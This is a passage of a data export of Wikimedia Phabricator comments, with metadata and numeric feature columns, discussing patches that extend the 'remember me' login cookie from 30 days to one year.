*SCREEN_NAME from legal confirms they're aware of it and we do any timing coordination necessary."
506404,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 had a related patch set uploaded (by Mattflaschen):
Change login cookies (for 'Remember me') to a one year expiry.

[[https://gerrit.wikimedia.org/r/230954]]
",,,1439340160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,8.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,8.0,3.5,0.8055555555555556,"Change 230954 had a related patch set uploaded (by Mattflaschen):
Change login cookies (for 'Remember me') to a one year expiry.

[[GERRIT_URL]]
"
506390,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",And thanks to @legoktm for reviewing that one.  I'll put up the config patch now.,,,1439338817,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.888888888888889,0.9444444444444444,And thanks toSCREEN_NAME for reviewing that one.  I'll put up the config patch now.
505067,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Thanks again for picking up those two patches @Mattflaschen.,,,1439199368,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.555555555555555,1.0,Thanks again for picking up those two patchesSCREEN_NAME.
504471,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141394 merged by jenkins-bot:
Use $wgExtendedLoginCookieExpiration when setting login cookies

[[https://gerrit.wikimedia.org/r/141394]]",,,1438992463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,14.0,4.863636363636363,0.9090909090909091,"Change 141394 merged by jenkins-bot:
Use $wgExtendedLoginCookieExpiration when setting login cookies

[[GERRIT_URL]]"
504467,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1517052, @Whatamidoing-WMF wrote:
> Can you remind me about the reviewer rules?  Can any knowledgeable dev review it, or does it have to be someone listed on the gerrit page but who hasn't uploaded any of the patches (that would leave just five options:  @ori @csteipp @rmoen plus two people who I don't think normally review patches like this)? 

My usual convention is that all code should be reviewed by a knowledgeable (knowledgeable in that specific code base) dev that did not write that code.  It doesn't all have to be the same dev, though.  So if two people contribute, they can each review each other's code.",,,1438992174,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,6.0,0.0,0.0,2.0,3.0,10.0,3.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,16.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.746031746031746,0.746031746031746,"QUOTE
QUOTE

My usual convention is that all code should be reviewed by a knowledgeable (knowledgeable in that specific code base) dev that did not write that code.  It doesn't all have to be the same dev, though.  So if two people contribute, they can each review each other's code."
503847,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Can you remind me about the reviewer rules?  Can any knowledgeable dev review it, or does it have to be someone listed on the gerrit page but who hasn't uploaded any of the patches (that would leave just five options:  @ori @csteipp @rmoen plus two people who I don't think normally review patches like this)? ",,,1438921998,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,3.0,2.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,5.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,6.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,8.0,10.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,4.338709677419355,0.8387096774193549,"Can you remind me about the reviewer rules?  Can any knowledgeable dev review it, or does it have to be someone listed on the gerrit page but who hasn't uploaded any of the patches (that would leave just five options: SCREEN_NAMESCREEN_NAMESCREEN_NAME plus two people who I don't think normally review patches like this)? "
503841,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1510684, @Elitre wrote:
> I'm curious, where are we on this? (I recently logged in on Translatewiki, which will keep me signed in for 6 months, and that reminded me of this task).

https://gerrit.wikimedia.org/r/#/c/141394/ is pending review.  That's only needed for WMF and any other wikis that use CentralAuth.  The login duration is already separated from other cookies in core (16cea35d85a3db0e7b4e5047ce6fdb0b92257e47).

Then, after that we can make a config change for WMF.",,,1438919329,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,17.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,13.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.351851851851852,0.7962962962962963,"QUOTE
QUOTE

URL is pending review.  That's only needed for WMF and any other wikis that use CentralAuth.  The login duration is already separated from other cookies in core (16cea35d85a3db0e7b4e5047ce6fdb0b92257e47).

Then, after that we can make a config change for WMF."
502545,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I'm curious, where are we on this? (I recently logged in on Translatewiki, which will keep me signed in for 6 months, and that reminded me of this task).",,,1438783823,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,14.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,14.0,16.0,3.0,3.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.3783783783783785,0.8108108108108109,"I'm curious, where are we on this? (I recently logged in on Translatewiki, which will keep me signed in for 6 months, and that reminded me of this task)."
481532,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Next step is https://gerrit.wikimedia.org/r/#/c/141394/, and then configuration changes for Wikimedia wikis.",,,1435233990,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Next step is URL and then configuration changes for Wikimedia wikis.
480468,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","* https://gerrit.wikimedia.org/r/141248 (branch master): #mw1.26, #mw1.26wmf12
",,,1435107623,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf12
"
480451,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 merged by jenkins-bot:
Configure logged in session length independently

[[https://gerrit.wikimedia.org/r/141248]]",,,1435105649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.380952380952381,0.9047619047619048,"Change 141248 merged by jenkins-bot:
Configure logged in session length independently

[[GERRIT_URL]]"
475821,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Are we ready to do this?  @Legoktm, is SUL finalization finished (or close enough that it doesn't need to block the logout timer any longer)?
",,,1434482252,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-3,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,16.0,9.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,9.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.75,0.9375,"Are we ready to do this? SCREEN_NAME, is SUL finalization finished (or close enough that it doesn't need to block the logout timer any longer)?
"
449289,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 had a related patch set uploaded (by Paladox):
Configure logged in session length independently

[[https://gerrit.wikimedia.org/r/141248]]
",,,1430064852,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.3076923076923075,0.8846153846153846,"Change 141248 had a related patch set uploaded (by Paladox):
Configure logged in session length independently

[[GERRIT_URL]]
"
399308,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#955668, @Whatamidoing-WMF wrote:
> This should be a quick, easy fix.  AFAICT, you change one number from ""30"" to ""365"".

$wgCookieExpiration is used for more than just session length.  As discussed above, we don't want all cookies to last a year.

We need two patches to be merged, https://gerrit.wikimedia.org/r/#/c/141248/ (core) and https://gerrit.wikimedia.org/r/#/c/141394/ (CentralAuth).

I've rebased the first one (that needs to be merged first), and it is passing Jenkins.  No one commented after @Phuedx's (Sam Smith's) last update.

At this point, I think we would both appreciate review from someone in #MediaWiki-Core-Team .  If not, I will try to get to this, but I have other priorities as well.

Per @Legoktm, the actual WMF config change may be blocked on SUL finalization work (I've tentatively marked this as blocked by {T37707}, but if the SUL finalization team doesn't need that anymore, please remove it).

Anyway, that does *not* block the preparatory changes to core and #MediaWiki-Extensions-CentralAuth.  It only blocks the actual wmf-config change.",,,1421205409,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-25,True,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,5.333333333333333,6.333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,4.666666666666667,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,11.666666666666666,0.6666666666666666,2.3333333333333335,5.333333333333333,0.0,0.0,0.0,0.6666666666666666,4.0,0.3333333333333333,0.6666666666666666,0.0,4.0,6.333333333333333,7.666666666666667,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.685848252344416,0.7719522591645354,"QUOTE
QUOTE

$wgCookieExpiration is used for more than just session length.  As discussed above, we don't want all cookies to last a year.

We need two patches to be merged, URL (core) and URL (CentralAuth).

I've rebased the first one (that needs to be merged first), and it is passing Jenkins.  No one commented afterSCREEN_NAME's (Sam Smith's) last update.

At this point, I think we would both appreciate review from someone in #MediaWiki-Core-Team .  If not, I will try to get to this, but I have other priorities as well.

PerSCREEN_NAME, the actual WMF config change may be blocked on SUL finalization work (I've tentatively marked this as blocked by {T37707}, but if the SUL finalization team doesn't need that anymore, please remove it).

Anyway, that does *not* block the preparatory changes to core and #MediaWiki-Extensions-CentralAuth.  It only blocks the actual wmf-config change."
395370,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Can we get this bug resolved?  Legal says it's just fine to have long login sessions.  Editors are still getting logged out mid-session (yes, actually in between clicking ""edit"" and clicking ""save page"", as anyone with oversight privs can attest) because of the 30-day limit.  We could cut that risk significantly by extending the login session to 180 days or a whole year.  

This should be a quick, easy fix.  AFAICT, you change one number from ""30"" to ""365"".  Could someone please actually do that?",,,1420482468,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-26,True,0.0,1.5,0.0,0.0,0.0,4.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,7.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,2.5,0.0,0.5,0.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.5,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,1.5,5.0,0.5,1.5,6.0,0.0,0.0,0.0,0.0,4.0,1.5,4.0,0.0,2.5,7.5,1.5,1.5,5.5,0.0,2.5,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,3.5625365283459964,0.8457042665108124,"Can we get this bug resolved?  Legal says it's just fine to have long login sessions.  Editors are still getting logged out mid-session (yes, actually in between clicking ""edit"" and clicking ""save page"", as anyone with oversight privs can attest) because of the 30-day limit.  We could cut that risk significantly by extending the login session to 180 days or a whole year.  

This should be a quick, easy fix.  AFAICT, you change one number from ""30"" to ""365"".  Could someone please actually do that?"
301910,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Matthew Flaschen from comment #39)
> (In reply to Kunal Mehta (Legoktm) from comment #38)
> > Right now we have a bunch of CentralAuth code running on login to try and
> > attach accounts which we can merge since we have access to the user's raw
> > plaintext password
> 
> Are you automatically merging accounts with the same username and password?

Yes.",,,1413591935,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,12.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.6153846153846154,"(In reply to Matthew Flaschen from comment #39)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes."
301905,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Kunal Mehta (Legoktm) from comment #38)
> Right now we have a bunch of CentralAuth code running on login to try and
> attach accounts which we can merge since we have access to the user's raw
> plaintext password

Are you automatically merging accounts with the same username and password?

> so I'd ask/request that this not move forward until
> alternative solutions are figured out for those processes.

Hmm, I guess if you need people logging in regularly this has to be blocked by the SUL finalization bug.",,,1412651717,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,22.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,13.0,10.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.816666666666667,0.7666666666666667,"(In reply to Kunal Mehta (Legoktm) from comment #38)
QUOTE
QUOTE
QUOTE

Are you automatically merging accounts with the same username and password?

QUOTE
QUOTE

Hmm, I guess if you need people logging in regularly this has to be blocked by the SUL finalization bug."
301899,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Right now we have a bunch of CentralAuth code running on login to try and attach accounts which we can merge since we have access to the user's raw plaintext password, so I'd ask/request that this not move forward until alternative solutions are figured out for those processes.",,,1412222757,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,6.0,6.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,19.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.277777777777778,0.9259259259259259,"Right now we have a bunch of CentralAuth code running on login to try and attach accounts which we can merge since we have access to the user's raw plaintext password, so I'd ask/request that this not move forward until alternative solutions are figured out for those processes."
301893,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Martin von Gagern from comment #34)
> Is asking for year-long concurrent sessions on multiple devices on-topic
> here, is there a separate bug for this, should I file one or ask on Village
> Pump?

Filed as bug 67512.",,,1404433241,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,17.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"(In reply to Martin von Gagern from comment #34)
QUOTE
QUOTE
QUOTE

Filed as bug 67512."
301888,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I was thinking about this from a different standpoint yesterday. 
Right now we're logging every time a user logs in with the AccountAudit extension to help with SUL finalization. We can roughly figure out if a user is active on a monthly basis since they have to login after 30 days, updating their row in the database. If we extend login time to 1 year, we wouldn't have that level of accuracy any more.

Probably merits fixing in the AccountAudit extension, but I just wanted to note it here in case anyone else is collecting statistics on when users login.",,,1404348034,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-52,True,1.5,1.0,0.0,0.0,1.0,1.5,0.5,0.0,0.0,1.5,3.0,1.5,0.0,0.0,0.0,4.0,1.0,7.5,13.0,1.0,2.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,1.0,4.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,2.0,0.0,0.5,0.0,0.0,0.0,13.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,4.5,2.0,6.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,6.5,13.0,2.0,0.0,0.0,0.0,6.5,0.0,1.0,2.0,0.0,3.5,1.0,0.0,0.0,4.116071428571429,0.8571428571428572,"I was thinking about this from a different standpoint yesterday. 
Right now we're logging every time a user logs in with the AccountAudit extension to help with SUL finalization. We can roughly figure out if a user is active on a monthly basis since they have to login after 30 days, updating their row in the database. If we extend login time to 1 year, we wouldn't have that level of accuracy any more.

Probably merits fixing in the AccountAudit extension, but I just wanted to note it here in case anyone else is collecting statistics on when users login."
301884,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Martin von Gagern from comment #34)
> (In reply to Krinkle from comment #24)
> > Hm.. also relevant is that we invalidate existing sessions when a new
